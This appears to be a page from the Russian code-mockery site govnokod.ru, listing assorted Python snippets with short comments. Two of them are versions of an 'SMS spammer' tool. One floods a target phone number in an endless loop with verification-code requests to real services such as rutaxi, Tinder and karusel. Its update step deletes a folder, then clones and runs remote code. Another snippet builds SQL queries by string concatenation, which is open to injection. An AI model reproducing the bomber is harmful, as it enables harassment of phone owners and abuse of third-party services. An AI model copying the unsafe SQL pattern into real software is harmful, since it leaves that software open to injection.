- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
def fake_bin(x):
k = ''
while len(x) > 0:
if int(x) % 10 >= 5:
k += '1'
x = x[0:-1]
else:
k += '0'
x = x[0:-1]
return k[::-1]
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+1
def fake_bin(x):
k = ''
while len(x) > 0:
if int(x) % 10 >= 5:
k += '1'
x = x[0:-1]
else:
k += '0'
x = x[0:-1]
return k[::-1]
+2
https://pythoninstitute.org/certification/
кто последний в сертификацию напитон?
+2
def __gc(self, state):
userdata = self.lib.luaL_testudata(self.state, 1, b'python.object')
if userdata:
obj_ptr = (c.cast(userdata, c.POINTER(c.py_object))).contents
if obj_ptr:
c.pythonapi.Py_DecRef(obj_ptr)
return 0
def push_object(self, obj):
userdata = self.lib.lua_newuserdata(self.state, c.sizeof(c.py_object))
(c.cast(userdata, c.POINTER(c.py_object)))[0] = c.py_object()
if self.lib.luaL_newmetatable(self.state, b'python.object'):
self.gc_thunk = c.CFUNCTYPE(c.c_int, c.c_void_p)(self.__gc)
self.lib.lua_pushcclosure(self.state, self.gc_thunk, 0)
self.lib.lua_setfield(self.state, -2, b'__gc')
self.lib.lua_pushstring(self.state, b'protected')
self.lib.lua_setfield(self.state, -2, b'__metatable')
self.lib.lua_setmetatable(self.state, -2)
obj_ptr = c.py_object(obj)
c.pythonapi.Py_IncRef(obj_ptr)
(c.cast(userdata, c.POINTER(c.py_object)))[0] = obj_ptr
Как скрестить ужа с ежом.
−1
#!/usr/bin/python3
# Spammer v3.2
# Author: cludeex
import os, random, time
try:
import requests
except:
im = input("Установить недостоющие библиотеки? (y/n) ")
if im == "y":
os.system("python -m pip install requests; spamer")
else:
print("Отменено")
exit()
def logo():
os.system('cls' if os.name=='nt' else 'clear')
print(color.BOLD+color.GREEN+" ___ ___ _ __ __ __ __ ___ ___\n / __| _ \\/_\\ | \\/ | \\/ | __| _ \\\n \\__ \\ _/ _ \\| |\\/| | |\\/| | _|| /\n |___/_|/_/ \\_\\_| |_|_| |_|___|_|_\\\n\n Spammer: github.com/cludeex\n"+color.END)
def update():
logo()
up = input(color.BOLD+color.BLUE+"Вы уверены, что хотите обновить? "+color.END+"(y/n) ")
if up == "y":
os.system("rm -rf spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
else:
print("Отменено")
main(2)
def main(t):
time.sleep(t)
logo()
print("[1] СМС СПАМЕР.")
print("[2] ОБНОВИТЬ СПАМЕР.")
print("[3] ВЫХОД.\n")
input1 = input(color.BOLD+color.BLUE+"Введите номер пункта: "+color.END)
try:
requests.get("http://google.com", verify=True)
except:
logo()
print(color.BOLD+color.RED+"[!] Нет интернет соединения.")
main(2)
if input1 == "1":
logo()
_phone = input(color.BOLD+color.BLUE+"Введите номер телефона: "+color.END)
if _phone == "":
main(0)
if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
pass
else:
logo()
print(color.BOLD+color.RED+"[!] Неправильный номер.")
main(2)
if _phone[0] == "+":
_phone = _phone[1:]
if _phone[0] == "8":
_phone = "7"+_phone[1:]
if _phone[0] == "9":
_phone = "7"+_phone
_name = ""
for x in range(12):
_name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
_phone9 = _phone[1:]
_email = _name+"@gmail.com"
email = _email
logo()
print("Телефон: "+color.BOLD+color.BLUE+_phone+color.END+"\nСпамер запущен.\nЧтобы остановить - нажмите Ctrl + Z")
while True:
if _phone[0] == "7":
# далее идёт дохуя try: post except: pass
class color:l
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
GREY = '\033[90m'
BOLD = '\033[1m'
ITALIC = '\033[3m'
UNDERLINE = '\033[4m'
END = '\033[0m'
if __name__ == "__main__":
main(0)
ps: код преднозначен для termux
+1
from numba import jit
def mults_no_jit(start, end, step):
min_i = min(start, end)
for i in range(start, end, step):
if i < min_i:
return
for j in range(i, end, step):
x = i * j
x_orig = x
x_reverse = 0
while x > 0:
x_reverse *= 10
x_reverse += x % 10
x //= 10
if x_orig == x_reverse:
min_i = max(min_i, j)
yield x_orig
break
@jit(nopython=True)
def mults_jit(start, end, step):
min_i = min(start, end)
for i in range(start, end, step):
if i < min_i:
return
for j in range(i, end, step):
x = i * j
x_orig = x
x_reverse = 0
while x > 0:
x_reverse *= 10
x_reverse += x % 10
x //= 10
if x_orig == x_reverse:
min_i = max(min_i, j)
yield x_orig
break
print(timeit.timeit('max(mults_no_jit(999, 99, -1))', globals=globals(), number=100))
# 4.2907474 секунды
print(timeit.timeit('max(mults_jit(999, 99, -1))', globals=globals(), number=100))
# 0.1662201 секунд первый запуск, 0.0333973 последующие
Теперь я за «Numba».
0
def __init__(self, text: str, description: str, category_id: int, auth_cookie: str) -> None:
Form.__init__(self)
CsrfForm.__init__(self)
CaptchaForm.__init__(self)
self.text: str = text
self.description: str = description
self.category_id = category_id
self.auth_cookie = auth_cookie
Какое наследование )))
0
#!/usr/bin/python3
# spammer v3.0
# author: cludeex
import os, random, time, urllib
try: import requests
except: os.system("python -m pip install requests; spamer")
def logo():
os.system('cls' if os.name=='nt' else 'clear')
print(clr.blt+clr.gn+" ___ ___ _ __ __ __ __ ___ ___\n / __| _ \\/_\\ | \\/ | \\/ | __| _ \\\n \\__ \\ _/ _ \\| |\\/| | |\\/| | _|| /\n |___/_|/_/ \\_\\_| |_|_| |_|___|_|_\\"+"\n\n SMS Bomber: github.com/cludeex\n"+clr.end)
def update():
up = input("Вы уверены, что хотите обновить? (y/n) ")
if up == "y":
os.system('cls' if os.name=='nt' else 'clear')
os.system("cd && rm -rf ~/spammer && git clone https://github.com/cludeex/spammer && python ~/spammer/install.py")
exit()
else:
print("Отменено")
main(2)
def main(t):
time.sleep(t)
logo()
print("[1] СМС СПАМЕР\n[2] ОБНОВИТЬ СПАМЕР.\n[3] ВЫХОД.\n")
input1 = input(clr.bl+clr.blt+"Введите номер пункта: "+clr.end)
try:
requests.get("http://google.com", verify=True)
except:
logo()
print(clr.blt+clr.rd+"[!] Нет интернет соединения."+clr.end)
main(2)
if input1 == "1":
logo()
_phone = input(clr.bl+clr.blt+"Введите номер: "+clr.end)
if _phone == "":
main(0)
if len(_phone) == 11 or len(_phone) == 12 or len(_phone) == 13:
pass
else:
logo()
print(clr.blt+clr.rd+"[!] Неправильный номер."+clr.end)
main(2)
if _phone[0] == "+":
_phone = _phone[1:]
if _phone[0] == "8":
_phone = "7"+_phone[1:]
if _phone[0] == "9":
_phone = "7"+_phone
_name = ""
for x in range(12):
_name = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
password = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
username = _name + random.choice(list("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"))
_phone9 = _phone[1:]
_email = _name+"@gmail.com"
email = _email
logo()
print("Телефон: "+clr.bl+clr.blt+_phone+clr.end+"\nСпамер запущен.\nЧтобы остановить спам - нажми Ctrl + Z")
while True:
if _phone[0] == "7":
try:
requests.post("https://moscow.rutaxi.ru/ajax_keycode.html", data={"l": _phone9}).json()["res"]
except:
pass
try:
requests.post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": _phone}, headers={})
except:
pass
try:
requests.post("https://app.karusel.ru/api/v1/phone/", data={"phone": _phone}, headers={})
except:
pass
Мне друг сказал что мой код - говно. Что не так в нём?
0
async def register_experiment(self, pool):
async with pool.acquire() as conn:
async with conn.cursor() as cur:
sql = "INSERT INTO " + str(self.auxname) + "." +
str(self.auxtable)
sql += " VALUES(NULL, '"
sql += str(self.dbname)
sql += "', '"
sql += str(self.encoder)
sql += "', 0, '" #goodEncoder
sql += str(self.lattices)
sql += "', 0, '" #goodLattices
sql += str(self.complex)
sql += "', 0, '" #goodComplex
sql += str(self.verges_total)
sql += "', 0, " #goodVerges
sql += str(self.verges_total)
sql += ", '"
sql += str(self.trains)
sql += "', 0, '" #goodTrains
sql += str(self.tests)
sql += "', 0, '" #goodTests
sql += str(self.hypotheses)
sql += "', 0, '" #goodHypotheses
sql += str(self.type)
sql += "')"
await cur.execute(sql)
await conn.commit()
https://habr.com/ru/post/509338/
> Web-сервер машинного обучения «ВКФ-решатель»
+1
from selenium import webdriver
import time
import telegram
def A():
код парсера
while True:
browser = webdriver.Chrome()
browser.maximize_window()
browser.get('ссылка')
try:
BOT_TOKEN = 'токен'
number2 = browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[5]/div/div[1]/div[1]/div').text
SS = number2.split()
if SS[0] == '0' and SS[1] == '0':
browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[5]/div/div[1]/div[1]/a').click()
time.sleep(5)
A()
except Exception:
pass
try:
BOT_TOKEN = 'токен'
number2 = browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[4]/div/div[1]/div[1]/div').text
SS = number2.split()
if SS[0] == '0' and SS[1] == '0':
browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[4]/div/div[1]/div[1]/a').click()
time.sleep(5)
A()
except Exception:
pass
try:
BOT_TOKEN = 'токен'
number2 = browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[3]/div/div[1]/div[1]/div').text
SS = number2.split()
if SS[0] == '0' and SS[1] == '0':
browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[3]/div/div[1]/div[1]/a').click()
time.sleep(5)
A()
except Exception:
pass
try:
BOT_TOKEN = 'токен'
number2 = browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[6]/div/div[1]/div[1]/div').text
SS = number2.split()
if SS[0] == '0' and SS[1] == '0':
browser.find_element_by_xpath('//*[@id="games_content"]/div/div[1]/div/div/div[6]/div/div[1]/div[1]/a').click()
time.sleep(5)
A()
except Exception:
pass
browser.close()
time.sleep(15)
Вопросик с хабра)
0
import json
a = {}
b = {}
for i in xrange(128): a[str(i)] = i
for i in a: b[i] = a[i]
print a == b
print json.dumps(a) == json.dumps(b)
Результат:
True
False
Почему не True True ?